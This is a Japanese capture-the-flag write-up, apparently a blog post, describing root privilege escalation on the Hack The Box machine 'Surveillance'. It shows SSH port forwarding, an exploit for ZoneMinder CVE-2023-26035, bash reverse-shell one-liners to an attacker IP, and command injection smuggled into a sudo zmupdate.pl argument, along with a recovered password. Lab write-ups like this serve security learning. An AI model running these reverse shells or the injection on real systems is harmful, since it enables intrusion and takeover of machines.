Hack The Box Surveillance Write up 2 日本語(Privilege Escalation)

<h2>Privilege Escalation</h2>
こんにちは、Gaijineer「Gaijin + enjineer」のハサンです。

前回は HackTheBox の Mediumマシンである「Surveillance」のuser flag 取得まで載せましたが、今回は、root flagを取得するWalkthroughを投稿します。

前回の続きです。

先にsshを使ってlinpeasをダウンロードします。そして、systemのすべての概要を把握するためlinpeas実行します。
![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3780649/c77ed5b6-6147-d14c-b593-3c5ff013dc08.png)
実行結果を見ると、なんかパスワードがあります。あとで使えそうですね。
![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3780649/d681ea16-cc0c-a2e2-8179-c2efb2b565d5.png)
また、ポート8080で何かが動いていることに気づいたので、sshでローカルポート転送を行います。
下記のコマンドを使用します。

    ssh -L 8080:127.0.0.1:8080 matthew@<target ip>

上記のコマンドざっくり説明すると以下になります。
- ssh : このコマンドは、リモート・サーバーとの安全なシェル接続を確立するために使用します。
- -L 8080:127.0.0.1:8080 : ローカルポート転送を設定する。これはSSHにローカルマシン(127.0.0.1)の8080番ポートをlistenし、SSHトンネルを通してターゲットマシンの8080番ポートに接続を転送するように指示します。
- matthew@target ip> : 接続先のユーザー名とIPアドレスを指定する。
下記のように実行します。

![3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3780649/5fa10fef-2b32-f0f1-ec74-80df17c7f83f.png)

ローカルのポート転送を通して、ZoneMinderのログインページがポート8080で実行されていることがわかりました。これまで見つけたすべてのパスワードとユーザーを試してみましたが、ログインに成功することは出来ませんでした。

![4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3780649/be48811a-c217-9cb7-5ea1-99d5e47e9e05.png)


そこで、/usr/share/zoneminderでさらに情報を探してみます。すると、/usr/share/zoneminder/www/api/app/ConfigにZoneMinderのバージョンがあり、それは1.36.32です。
このディレクトリにあるすべてのファイルで同時に「バージョン」という単語を検索するコマンドを使ったところ、すぐにバージョンを見つけることができました。下記のコマンド使用しました。

    cat * | grep -i version

![5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3780649/595947ce-cabf-aae6-5001-df67ec609a71.png)


それからZoneMinder 1.36.32のエクスプロイトをググってみると、脆弱性CVE-2023-26035のスクリプトが見つかった。

![6.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3780649/b0e839d6-5ea5-5ac7-7da3-e5893ad105e3.png)

下記のheapbytesのスクリプトは私の場合うまく行きました。
![7.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3780649/9ab18843-41f4-1822-2dbe-0dfb2bf93312.png)

上記のスクリプトでreverse-shellを取得するには、スクリプトがページにアクセスできるように、ローカルでポート転送を済ませておく必要があります。

    python3 poc.py –target http://127.0.0.1:8080/ –cmd 'bash -c "bash -i >& /dev/shm/<attacker ip>/<listening port> 0>&1"'

![8.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3780649/cb08b21a-8ad1-87e4-1a5a-29fc702947d3.png)

これで私はzoneminderというユーザーとなりました、パスワードなしでsudoを使ってコマンドを実行できるようになりました。このコマンドはそれほど "厳密 "ではないので、これを使ってrootユーザーになることも可能です。

![9.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3780649/addd313f-860b-14f9-d3ac-b5d83d7648c3.png)

dev/shmでもいいのだが、/tmpディレクトリにreverse-shellファイルを作りました。ファイル名はshell.shとしました。
ファイルを作成して書き込んだ後、permissionを700に変更し、ファイルの作成者である現在のユーザーだけが読み取り、書き込み、実行権限を持つようにしました。

    #!/bin/bash
    bash -i >& /dev/tcp/<attacker ip>/<listening por> 0>&1

![10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3780649/e5c4c36a-f0c8-c482-7c3c-02ca8f970a98.png)

私が実行しなければならないsudoコマンドには、特定のファイルは指定されていない。ただ、.plで終わり、"zm "で始まらなければならない。これを利用するために、私はzmupdate.plを使っています。

![11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3780649/d8767565-e862-6c42-f083-c8bbe21f0d72.png)

以下のコマンドは、reverse-shellを受け取るリスナーを指定した後に実行しました。

    sudo /usr/bin/zmupdate.pl –version=1 –user='$(/tmp/shell.sh)' pass=ZoneMinderPassword2023

- sudo : これはUnix系OSで使われるコマンドで、許可されたユーザーがスーパーユーザーや他のユーザーとしてコマンドを実行できるようにするものです。
- /usr/bin/zmupdate.pl : これは/usr/binディレクトリにあるPerlスクリプトzmupdate.plへのパスです。
- –version=1 : これは更したい ZoneMinder のバージョンを指定します。バージョン 1 に設定されています。
- –user=’$(/tmp/shell.sh)’ : これは、ZoneMinder 更新プロセスのユーザを指定します。ユーザ名を動的に指定するために、/tmpディレクトリにあるshell.shというシェルスクリプトを呼び出しています。
- –pass=ZoneMinderPassword2023 : ZoneMinder 更新プロセスのパスワードを指定します。ZoneMinderPassword2023に設定されています。

![12.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3780649/f9329d26-b829-e60b-d0cc-63cf2fefc7d4.png)

コマンドを実行した後、プログラムの指示に従い、"y "でバックアップを取った後、rootとしてreverse-shellを取得しました。

![13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3780649/0b043de9-a07e-6da2-a3fa-42f4e1d147f4.png)
![14.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3780649/ee91454a-b8b6-352d-16a6-7d47bb853127.png)

それではroot権限取得後、root flagをゲットします。
以上です。
ここまで読んで頂いてありがとうございます。